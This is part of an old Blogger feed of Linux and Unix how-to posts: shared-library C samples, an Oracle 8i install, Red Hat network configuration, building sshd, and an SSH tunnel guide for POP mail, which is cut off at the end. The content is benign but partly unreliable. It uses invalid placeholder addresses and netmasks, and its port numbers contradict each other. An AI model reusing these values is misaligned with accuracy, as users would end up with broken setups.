x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111028362653596217</id><published>2005-03-08T04:02:00.000-08:00</published><updated>2005-03-08T04:07:06.536-08:00</updated><title type='text'>Sample Code - Using shared libs on UNIX</title><content type='html'>Sample C code for :&lt;br /&gt;&lt;br /&gt;1. Creating a shared library&lt;br /&gt;2. Runtime loading of a shared library&lt;br /&gt;3. Calling a method from the loaded library&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;On GNU/Linux :&lt;br /&gt;&lt;br /&gt;share.c&lt;br /&gt;&lt;br /&gt;/* &lt;br /&gt; * sample code for creating a shared library on GNU/Linux&lt;br /&gt; *&lt;br /&gt; * cc -fPIC -c share.c -o share.o &lt;br /&gt; * ld -shared share.o -o share.sl &lt;br /&gt; * &lt;br /&gt; * kishan@hackorama.com ( www.hackorama.com )  Feb 2001&lt;br /&gt; *&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;void &lt;br /&gt;share( int value ) &lt;br /&gt;{ &lt;br /&gt;fprintf( stdout, "\nthe answer is %d\n", value );&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;------------ cut ----------&lt;br /&gt;&lt;br /&gt;#cc -fPIC -c share.c -o share.o&lt;br /&gt;#ld -shared share.o -o share.sl&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;main.c [ using dlopen(), dlsym() ]&lt;br /&gt;&lt;br /&gt;coding ---&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * sample code for loading, calling a method from &lt;br /&gt; * and unloading a shared library on GNU/Linux&lt;br /&gt; *&lt;br /&gt; * cc main.c -o main -ldl&lt;br /&gt; *&lt;br /&gt; * If using c++ compiler the symbol names will be mangled&lt;br /&gt; * So a method called "share" will be "share__Fi" in the &lt;br /&gt; * shared library, Please do a "nm share.sl" to find the &lt;br /&gt; * mangled symbol for the method.&lt;br /&gt; * &lt;br /&gt; * kishan@hackorama.com ( www.hackorama.com ) Feb 2001&lt;br /&gt; *&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;dlfcn.h&gt;&lt;br /&gt;&lt;br /&gt;int &lt;br /&gt;main( void ) &lt;br /&gt;{ &lt;br /&gt;    const char *sh_lib = "share.sl" ;&lt;br /&gt;    const char *method = "share";&lt;br /&gt;&lt;br /&gt;    void (*fp) (int)  = NULL ;&lt;br /&gt;    void *handle =  dlopen( sh_lib , RTLD_NOW );&lt;br /&gt;&lt;br /&gt;    if( handle == NULL ){&lt;br /&gt;        fprintf( stderr, "\nfailed loading %s\n", sh_lib );&lt;br /&gt;exit(1);&lt;br /&gt;    }else{&lt;br /&gt;        fp  = ( void (*)(int) )dlsym( handle, method  );&lt;br /&gt;        if( fp == NULL )&lt;br /&gt;           fprintf( stderr, "\nfailed getting method %s\n", method);&lt;br /&gt;else &lt;br /&gt;           fp( 42 );&lt;br /&gt;        if ( dlclose(handle) != 0 )&lt;br /&gt;   fprintf( stderr, "\nfailed unloading %s\n", sh_lib );&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;----------------------- cut _------------------&lt;br /&gt;&lt;br /&gt;cc main.c -o main -ldl&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;On HP-UX :&lt;br /&gt;&lt;br /&gt;share.c&lt;br /&gt;&lt;br /&gt;coding ---&lt;br /&gt;&lt;br /&gt;/* &lt;br /&gt; * sample code for creating a shared library on HP-UX &lt;br /&gt; *&lt;br /&gt; * cc +z -c share.c -o share.o &lt;br /&gt; * ld -b share.o -o share.sl &lt;br /&gt; * &lt;br /&gt; * kishan@hackorama.com ( www.hackorama.com )  Feb 2001&lt;br /&gt; *&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;void &lt;br /&gt;share( int value ) &lt;br /&gt;{ &lt;br /&gt;fprintf( stdout, "\n\nthe answer is %d\n\n", value );&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------------------------- cut -------------------------&lt;br /&gt;&lt;br /&gt;cc +z -c share.c -o share.o&lt;br /&gt;ld -b share.o -o share.sl&lt;br /&gt;main.c [ using shl_load(), shl_findsym() ]&lt;br /&gt;&lt;br /&gt;coding ---&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * sample code for loading , calling a method from &lt;br /&gt; * and unloading a shared library on HP-UX  &lt;br /&gt; *&lt;br /&gt; * cc main.c -o main&lt;br /&gt; *&lt;br /&gt; * If using a c++ compiler the symbol names will be mangled                   &lt;br /&gt; * So a method called "share" will be "share__Fi" in the                        &lt;br /&gt; * shared library, Please do a "nm share.sl" to find the                        &lt;br /&gt; * mangled symbol for the method.  &lt;br /&gt; *&lt;br /&gt; * kishan@hackorama.com ( www.hackorama.com ) Feb 2001&lt;br /&gt; *&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;dl.h&gt;&lt;br /&gt;&lt;br /&gt;int &lt;br /&gt;main( void ) &lt;br /&gt;{ &lt;br /&gt;    const char* sh_lib = "share.sl";&lt;br /&gt;    const char* method = "share"; &lt;br /&gt;&lt;br /&gt;    void (*fp) ( int value )  = NULL ;&lt;br /&gt;    shl_t handle =  shl_load( sh_lib , BIND_IMMEDIATE , NULL  );&lt;br /&gt;&lt;br /&gt;    if( handle == NULL ){&lt;br /&gt;        fprintf( stderr, "\nfailed loading %s\n", sh_lib);&lt;br /&gt;        exit(1);&lt;br /&gt;    }else{&lt;br /&gt;        shl_findsym( &amp;handle, method, TYPE_UNDEFINED, &amp;fp );&lt;br /&gt;        if( fp == NULL )&lt;br /&gt;           fprintf( stderr, "\nfailed getting method %s\n", method);&lt;br /&gt;else &lt;br /&gt;           fp( 42 );&lt;br /&gt;       &lt;br /&gt;        if ( shl_unload( handle ) != 0 )&lt;br /&gt;   fprintf( stderr, "\nfailed unloading %s\n", sh_lib);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;------------------------- cut ----------------------&lt;br /&gt;&lt;br /&gt;cc main.c -o main&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The linux sample code should work for other UNIX flavours, which use dlopen()/dlsym(). Only HP-UX uses shl_load()/shl_findsym(). Please look at the man pages of cc and ld for the correct flags to be used for the particular version of UNIX.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111028362653596217?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111028362653596217/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111028362653596217' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111028362653596217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111028362653596217'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/sample-code-using-shared-libs-on-unix.html' title='Sample Code - Using shared libs on UNIX'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111028329413645528</id><published>2005-03-08T04:00:00.000-08:00</published><updated>2005-03-08T04:01:34.140-08:00</updated><title type='text'>Oracle 8i on Linux</title><content type='html'>This  is a step by step guide to installing Oracle8i on Linux.  The installation was successfully tested on Suse 6.4 , Redhat 6.2 and Caldera openLinux 2.4  using Oracle 8i Enterprise Edition Release 2 (8.1.6) for Linux (Intel) circa  October 2000. &lt;br /&gt;  &lt;br /&gt;1.Installtion &lt;br /&gt;2.Notes &lt;br /&gt;3.Trouble Shooting&lt;br /&gt;&lt;br /&gt;1.Installation&lt;br /&gt;&lt;br /&gt;Download Java 1.1.6 ( JRE ) for Linux  from www.java.sun.com/linux or from blackdown.org and Oracle 8i from oracle.com  If you have the Oracle 8i CD  download only the JRE.  &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;[download the files to some directory like /tmp ] &lt;br /&gt;$cd /tmp &lt;br /&gt;$ls  *.gz &lt;br /&gt;jre_1.1.6-v5-glibc-x86.tar.gz &lt;br /&gt;oracle8161_tar.gz &lt;br /&gt;&lt;br /&gt;[ become root ] &lt;br /&gt;$su &lt;br /&gt;&lt;br /&gt;[ set up and install the jre ] &lt;br /&gt;#cp /tmp/jre_1.1.6-v5-glibc-x86.tar.gz /usr/local/lib &lt;br /&gt;#cd /usr/local/lib &lt;br /&gt;#tar -xzvf jre_1.1.6-v5-glibc-x86.tar.gz &lt;br /&gt;#ln -s /usr/local/lib/jre116_v5 /usr/local/lib/jre &lt;br /&gt;#export PATH=$PATH:/usr/local/jre/bin &lt;br /&gt;&lt;br /&gt;[ create user groups ] &lt;br /&gt;#/usr/sbin/groupadd -g 111 oinstall &lt;br /&gt;#/usr/sbin/groupadd -g 112 dba &lt;br /&gt;&lt;br /&gt;[ create auser named oracle ] &lt;br /&gt;#mkdir /home/oracle &lt;br /&gt;#/usr/sbin/useradd -g dba  -d /home/oracle oracle &lt;br /&gt;#/usr/sbin/usermod -g dba -G oainstall oracle &lt;br /&gt;#passwd oracle &lt;br /&gt;#chown oracle /home/oracle &lt;br /&gt;#chgrp dba /home/oracle &lt;br /&gt;&lt;br /&gt;[ make some directories required during installtion ] &lt;br /&gt;#mkdir -p /usr/local/oracle/8i &amp;&amp; cd /usr/local/oracle/8i &lt;br /&gt;#mkdir -p /usr/local/oracle/8i &amp;&amp; cd /usr/local/oracle/8i &lt;br /&gt;#mkdir {u01,u02,u03,u04} &lt;br /&gt;#chown oracle:oinstall {u01,u02,u03,u04} &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;[ become user oracle  ] &lt;br /&gt;#su oracle &lt;br /&gt;$cd  &lt;br /&gt;$pwd &lt;br /&gt;/home/oracle &lt;br /&gt;$ &lt;br /&gt;&lt;br /&gt;[ Create/Edit the file named  /home/oracle/.bashrc  &lt;br /&gt;   with the following contents :  [ SEE NOTE 2] &lt;br /&gt;&lt;br /&gt;ORACLE_HOME=/usr/local/oracle/8i/u01/app/oracle/product/8.1.5 &lt;br /&gt;ORACLE_BASE=/usr/local/oracle/8i/u01/app/oracle &lt;br /&gt;export ORACLE_HOME ORACLE_BASE &lt;br /&gt;NLS_LANG='english_united kingdom.we8iso8859p1' &lt;br /&gt;ORA_NLS33=$ORACLE_HOME/ocommon/nls/admin/data &lt;br /&gt;ORACLE_TERM=vt100 &lt;br /&gt;LD_LIBRARY_PATH=$ORACLE_HOME/lib &lt;br /&gt;PATH=$PATH:$ORACLE_HOME/bin:/usr/local/jre/bin &lt;br /&gt;export NLS_LANG ORA_NLS33 PATH LD_LIBRARY_PATH &lt;br /&gt;&lt;br /&gt;$vi .bashrc  &lt;br /&gt;$source .bashrc &lt;br /&gt;&lt;br /&gt;[ NO CD - unzip and extract the downloaded files   ] &lt;br /&gt;$gunzip /tmp/oracle8161_tar.gz &lt;br /&gt;$tar -xvf /tmp/oracle8161_tar &lt;br /&gt;$cd /tmp/Oracle8iR2/install/linux &lt;br /&gt;&lt;br /&gt;[  WITH CD - If not mounted mount the CD ]  [ SEE NOTE 1 ] &lt;br /&gt;#su  &lt;br /&gt;#mount -t iso9660 /dev/hdc /cdrom  &lt;br /&gt;#exit  &lt;br /&gt;#su oracle &lt;br /&gt;$cd /cdrom/install/linux &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;[ start installation ] &lt;br /&gt;$./runInstaller &lt;br /&gt;&lt;br /&gt;During installation the installation program will prompt you a couple of times to run certain commands as root from a shell.  It will also ask you to create an SID at the end of the installation. &lt;br /&gt;&lt;br /&gt;Post Install: &lt;br /&gt;&lt;br /&gt;$svrmgrl &lt;br /&gt;&gt;connect internal &lt;br /&gt;&gt;startup &lt;br /&gt;&lt;br /&gt;$export ORACLE_SID=your_sid_name &lt;br /&gt;$sqlplus scott/tiger &lt;br /&gt;SQL&gt; &lt;br /&gt;SQl&gt;select ename from emp; &lt;br /&gt;  &lt;br /&gt;2.Notes&lt;br /&gt;1. Mounting CD&lt;br /&gt;&lt;br /&gt;The mount command might be little different on diferent machines the third parameter the device file for CDROM [ /dev/hdc ] may not be the same on all machines.  Please contact your friendly sysadmin for help.  &lt;br /&gt;&lt;br /&gt;Or if you have an X desktop environment like Gnome or KDE  you can click on the  CDROM icon it might  mount  the  CDROM  and will open the CDROM contents in a  file explorer. &lt;br /&gt;&lt;br /&gt;Some Linux distributions ( like Caldera open Linux ) will have the CD auto mounted at /auto/cdrom. in that case you just go to that directory to access the installation files you dont have to mount the CD. &lt;br /&gt;  &lt;br /&gt;2. Adding the .profile/.login/.bashrc&lt;br /&gt;&lt;br /&gt;Usually the default shell for new user accounts on Linux is bash. So the file to add Oracle environment variables is usually .bashrc in the home directory /home/oracle.  But if you are running another shell  please contact your friendly sysadmin to find out which file to edit.  &lt;br /&gt;&lt;br /&gt;If you are not familiar with vi , please use  any of the notepad like editors gedit,kedit,nedit . &lt;br /&gt;3.Troubleshooting&lt;br /&gt;1. Make sure you have set the Oracle environment variables  correctly. &lt;br /&gt;&lt;br /&gt;$su oracle &lt;br /&gt;$cd  &lt;br /&gt;$pwd &lt;br /&gt;/home/oracle &lt;br /&gt;$source .bashrc &lt;br /&gt;$env | grep -E 'ORACLE|NLS|LD'  &lt;br /&gt;NLS_LANG=english_united kingdom.we8iso8859p1 &lt;br /&gt;LD_LIBRARY_PATH=/usr/local/oracle/8i/u01/app/oracle/product/8.1.5/lib &lt;br /&gt;ORACLE_BASE=/usr/local/oracle/8i/u01/app/oracle &lt;br /&gt;ORA_NLS33=/usr/local/oracle/8i/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data &lt;br /&gt;ORACLE_HOME=/usr/local/oracle/8i/u01/app/oracle/product/8.1.5 &lt;br /&gt;$ &lt;br /&gt;&lt;br /&gt;Make sure the env command  shows the above output, otherwise make sure you edited the /home/orcle/.bashrc file correctly. &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;2. Stale  files from an aborted/failed installation &lt;br /&gt;&lt;br /&gt;Sometimes the  Oracle Universal Installer leaves behind stale files from an earlier failed installation as a different user. &lt;br /&gt;&lt;br /&gt;One of the files left behind is /etc/oraInst.loc &lt;br /&gt;&lt;br /&gt;#su&lt;br /&gt;#cat /etc/oraInst.loc&lt;br /&gt;inventory_loc=/home/user_name/oraInventory&lt;br /&gt;inst_group=dba&lt;br /&gt;#&lt;br /&gt;[ where  user_name is the user  account from which  the last failed installation was attempted ] &lt;br /&gt;&lt;br /&gt;If you have this file hanging around you might get an error message saying no permissions to write   /home/user_name/oraInventory . In that case become root and delete /etc/oraInst.loc file, and continue installation as user oracle.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111028329413645528?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111028329413645528/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111028329413645528' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111028329413645528'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111028329413645528'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/oracle-8i-on-linux.html' title='Oracle 8i on Linux'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111028322259740133</id><published>2005-03-08T03:59:00.000-08:00</published><updated>2005-03-08T04:00:22.600-08:00</updated><title type='text'>SETTING UP NETWORK ON LINUX [ for DSL / LAN ]</title><content type='html'>This is a MINI HOW-TO on setting up the network configurations to connect yout Linux box on to a DSL network. It also applies to setting up your machine on a LAN.&lt;br /&gt;&lt;br /&gt;The configuration instructionsa are specific to Redhat Linux distro. There might be slight difference in the configuration files with other distros.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Get the IP Addresses&lt;br /&gt;&lt;br /&gt;All you need from your DSL provider or your LAN sys-admin is the following set of IP addreses.&lt;br /&gt;&lt;br /&gt;1. Your IP address&lt;br /&gt;&lt;br /&gt;111.111.111.111&lt;br /&gt;&lt;br /&gt;2. The Gateway IP address&lt;br /&gt;&lt;br /&gt;222.222.222.222&lt;br /&gt;&lt;br /&gt;3. The netmask&lt;br /&gt;&lt;br /&gt;255.255.255.333&lt;br /&gt;&lt;br /&gt;4. The DNS ( Primary and Secondary )&lt;br /&gt;&lt;br /&gt;444.444.444.444&lt;br /&gt;555.555.555.555&lt;br /&gt;&lt;br /&gt;NOTE: The IP addresses above are just place holders please replace with your actual IP addresses.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1.Set up your IP ( 111.111.111.111 )&lt;br /&gt;&lt;br /&gt;* add the following line to /etc/hosts&lt;br /&gt;111.111.111 hostname&lt;br /&gt;&lt;br /&gt;* Eg: If your machine was called kahlua:&lt;br /&gt;&lt;br /&gt;$cat /etc/hosts&lt;br /&gt;127.0.0.1 localhost localhost.localdomain&lt;br /&gt;111.111.111.111 kahlua&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2.Set up Gateway ( 222.222.222.222 )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;* Edit the /etc/sysconfig/network file with:&lt;br /&gt;GATEWAY="222.222.222.222"&lt;br /&gt;&lt;br /&gt;* Eg: If your machine was called kahlua:&lt;br /&gt;&lt;br /&gt;$cat /etc/sysconfig/network&lt;br /&gt;NETWORKING=yes&lt;br /&gt;FORWARD_IPV4="yes"&lt;br /&gt;HOSTNAME="kahlua"&lt;br /&gt;GATEWAY="222.222.222.222"&lt;br /&gt;GATEWAYDEV="eth0"&lt;br /&gt;&lt;br /&gt;3. Set up the netmask ( 255.255.255.333 ) and IP ( 111.111.111.111 )&lt;br /&gt;&lt;br /&gt;* Edit /etc/sysconfig/network-scripts/ifcfg-eth0 with:&lt;br /&gt;IPADDR="111.111.111.111"&lt;br /&gt;NETMASK="255.255.255.333"&lt;br /&gt;&lt;br /&gt;* Eg: If your machine has IP 111.111.111.111 :&lt;br /&gt;&lt;br /&gt;$ cat /etc/sysconfig/network-scripts/ifcfg-eth0&lt;br /&gt;DEVICE="eth0"&lt;br /&gt;IPADDR="111.111.111.111"&lt;br /&gt;NETMASK="255.255.255.333"&lt;br /&gt;ONBOOT="yes"&lt;br /&gt;BOOTPROTO="none"&lt;br /&gt;IPXNETNUM_802_2=""&lt;br /&gt;IPXPRIMARY_802_2="no"&lt;br /&gt;IPXACTIVE_802_2="no"&lt;br /&gt;IPXNETNUM_802_3=""&lt;br /&gt;IPXPRIMARY_802_3="no"&lt;br /&gt;IPXACTIVE_802_3="no"&lt;br /&gt;IPXNETNUM_ETHERII=""&lt;br /&gt;IPXPRIMARY_ETHERII="no"&lt;br /&gt;IPXACTIVE_ETHERII="no"&lt;br /&gt;IPXNETNUM_SNAP=""&lt;br /&gt;IPXPRIMARY_SNAP="no"&lt;br /&gt;IPXACTIVE_SNAP="no"&lt;br /&gt;&lt;br /&gt;4. Set up the DNS ( 444.444.444.444 and 555.555.555 )&lt;br /&gt;&lt;br /&gt;* Edit /etc/resolv.conf and add:&lt;br /&gt;nameserver 444.444.444.444&lt;br /&gt;nameserver 555.555.555.555&lt;br /&gt;&lt;br /&gt;* Eg: If your machine was called kahlua&lt;br /&gt;and your providers domain is called dslinc.net :&lt;br /&gt;&lt;br /&gt;$ cat /etc/resolv.conf&lt;br /&gt;domain dslinc.net&lt;br /&gt;search kahlua&lt;br /&gt;nameserver 444.444.444.444&lt;br /&gt;nameserver 555.555.555.555&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now you should be all set. Just ping any server on the net and verify if everything works fine.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Fore more information, please read the how-to docs NET-3-HOWTO / NET3-4-HOWTO in your /usr/doc/HOWTO ( normal path for Redhat distros ). Or search the newsgroup postings or linux archives.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111028322259740133?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111028322259740133/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111028322259740133' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111028322259740133'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111028322259740133'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/setting-up-network-on-linux-for-dsl.html' title='SETTING UP NETWORK ON LINUX [ for DSL / LAN ]'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111028313301016861</id><published>2005-03-08T03:42:00.000-08:00</published><updated>2005-03-08T03:58:53.010-08:00</updated><title type='text'>Installing ssh and sshd</title><content type='html'>Title:       Installing ssh and sshd&lt;br /&gt;Contributor: yudhax (neorganicz)&lt;br /&gt;Last Update: Saturday Mart 20 01:30 EDT 2005&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;cd /usr/local&lt;br /&gt;&lt;br /&gt;Get ftp://ftp.cis.fed.gov/pub/ssh/ssh-2.4.0.tar.gz&lt;br /&gt;&lt;br /&gt;wget ftp://ftp.cis.fed.gov/pub/ssh/ssh-2.4.0.tar.gz&lt;br /&gt;tar -xzvf ssh-2.4.0.tar.gz&lt;br /&gt;cd ssh-2.4~.0&lt;br /&gt;./configure&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# In /etc/rc.d/rc.local:&lt;br /&gt;# SSH Startup&lt;br /&gt;echo Starting SSH Daemon&lt;br /&gt;/usr/local/sbin/sshd&lt;br /&gt;&lt;br /&gt;# Start sshd for the first time:&lt;br /&gt;/usr/local/sbin/sshd&lt;br /&gt;&lt;br /&gt;# Your done! now just:&lt;br /&gt;ssh machine_name&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111028313301016861?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111028313301016861/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111028313301016861' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111028313301016861'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111028313301016861'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/installing-ssh-and-sshd.html' title='Installing ssh and sshd'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111028209123408949</id><published>2005-03-08T03:40:00.000-08:00</published><updated>2005-03-08T03:41:31.236-08:00</updated><title type='text'>SSH Tunnell using POP3 for IMAP Mail</title><content type='html'>Who wants to read this&lt;br /&gt;If you have a POP mail account on a remote server, provided by your  ISP/work/school and wants to access your mails from your home/local machine through a secure channel.&lt;br /&gt;&lt;br /&gt;Please note I will be reffering to POP3 as just POP throughout this article.&lt;br /&gt;&lt;br /&gt;Why Secure POP&lt;br /&gt;The normal POP communcations sends everything in clear text, including your mail account passwords. We need to use a secure channel, where everything will be encrypted between your local machine and the remote mail server. The rational is analogous to the use of encrypted HTTPS versus the normal HTTP communication when we access secure webservices.&lt;br /&gt;&lt;br /&gt;Check for IMAP with SSL support&lt;br /&gt;IMAP with SSL encrypts the mail communications the same way HTTPS encrypts the website communications. Sadly not all mail servers support this. ( My ISP replied to me "at this time we do not provide SSL mail due to stability issues in current implementations" ) &lt;br /&gt;&lt;br /&gt;If you have SSL mail, all you need to do is configure your mail tool to use SSL. All the popular mail clients like Mozilla/Netscape Mail, Eudora , Outlook Express etc supports SSL. The SSL option may not be On by default so please edit the Configuration/Settings of your mail client to use SSL.&lt;br /&gt;&lt;br /&gt;On Mozilla 0.95/Netscape6.x Mail :&lt;br /&gt;&lt;br /&gt;Select Menu: &lt;br /&gt;    Mail -&gt; Mail &amp; Newsgroups Account Settings &lt;br /&gt;From the popup  Dialog:  &lt;br /&gt;    Select "Server Settings", Check  "Use Secure connection (SSL) "&lt;br /&gt;    Select "Outgoing server (SMTP)" , Check "Always" for "Use secure connection ( SSL)"&lt;br /&gt;&lt;br /&gt;If your remote server  supports SSH &lt;br /&gt;If you dont know much about SSH, please google the web for more information and then download and install SSH on your local machine. Most of the Linux machines should have it already installed.&lt;br /&gt;&lt;br /&gt;If you already use SSH ( like as a secure replacement for telnet/ftp ) and just want to know about POP through SSH then jump ahead to the SSH tunnelling section.&lt;br /&gt;&lt;br /&gt;The following instructions are for Linux/Unix. But the concept is the same for other platforms as well. Instead of the command line invocations, you might use a GUI application.&lt;br /&gt;&lt;br /&gt;Run ssh with the hostname or IP address of the mail server. If you get the following response you cannot use SSH.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$ ssh mail.remoteserver&lt;br /&gt;ssh: connect to address xxx.xxx.xxx.xxx port 22: Connection refused&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;If you can connect to the remote server using SSH, then we can setup a secure tunnell through SSH for your POP communications. The tunnell connects a port on your local machine ( say 1234 ) to the POP3 port ( port 110 ) of your remote server. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$ ssh  -P -f -L  1234:remoteserver:110 user@remoteserver sleep 25&lt;br /&gt;&lt;br /&gt;-L  specifies the port forwarding 1234 on local machine to 110 od remoteserver. &lt;br /&gt;-f  tells SSH to fork out and run in the background. &lt;br /&gt;-P  option allows us ti open a non privilaged port - like 1234 - which does not require root access ( ports higher than 1024 ).&lt;br /&gt;&lt;br /&gt;"sleep 25" is the command to execute at the remote server so as long as the command is executing at the server the tunnell will be kept open. In the example the connection will be open for 25 seconds, you can specify any duration to sleep. &lt;br /&gt;&lt;br /&gt;This is called port forwarding in technical jargon, which means the local port on your machine will just forward any communication coming there to the POP server port. So in the mail tool when we configure the mail server name instead of the remoteserver:110 we will say localhost:12345 &lt;br /&gt;&lt;br /&gt;Now you have the POP tunnell yo get your mail to your local machine. Now if you want to send a mail for your mail through the SMTP server on the remote machine you can setup another secure tunnell  to the SMTP port ( port 25 ) of the remote mail server as follows.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$ ssh  -P -f  -L 1235:remoteserver.net:25&lt;br /&gt; user@remoteserver sleep 25 &lt;br /&gt;Test the tunnell &lt;br /&gt;Once you have setup the the tunnel as explained above, test whether they are connecting correctly by telnetting to the tunnell ports. &lt;br /&gt;&lt;br /&gt;First test the incoming POP tunnel. After connecting if you see the name of your remote server then your tunnell is working. Press the escape charecter "ctrl+]" to get to telnet prompt and then type "close" to exit. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$ telnet localhost 1234&lt;br /&gt;Trying 127.0.0.1...&lt;br /&gt;Connected to localhost.localdomain (127.0.0.1).&lt;br /&gt;Escape character is '^]'.&lt;br /&gt;+OK QPOP (version 3.1.2) at remoteserver.net  starting.&lt;br /&gt;^]&lt;br /&gt;&lt;br /&gt;telnet&gt; close&lt;br /&gt;Connection closed.&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;Now check the same for the outbound tunnell. Type "quit" to close connection. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$ telnet localhost 1235&lt;br /&gt;Trying 127.0.0.1...&lt;br /&gt;Connected to localhost.localdomain (127.0.0.1).&lt;br /&gt;Escape character is '^]'.&lt;br /&gt;220 remoteserver.net ESMTP Sendmail 8.8.6/8.8.2; Thu, 6 Dec 2001 22:24:54 -0800&lt;br /&gt;&lt;br /&gt;quit&lt;br /&gt;Connection closed by foreign host.&lt;br /&gt;$&lt;br /&gt;Mail tool configuration&lt;br /&gt;In the settings/configuration for incoming POP server pleasee specify localhost as the server and 1234 as the port. For outgoing SMTP mail server please specify  localhost and 4321 as server and the port. And make sure you enable the 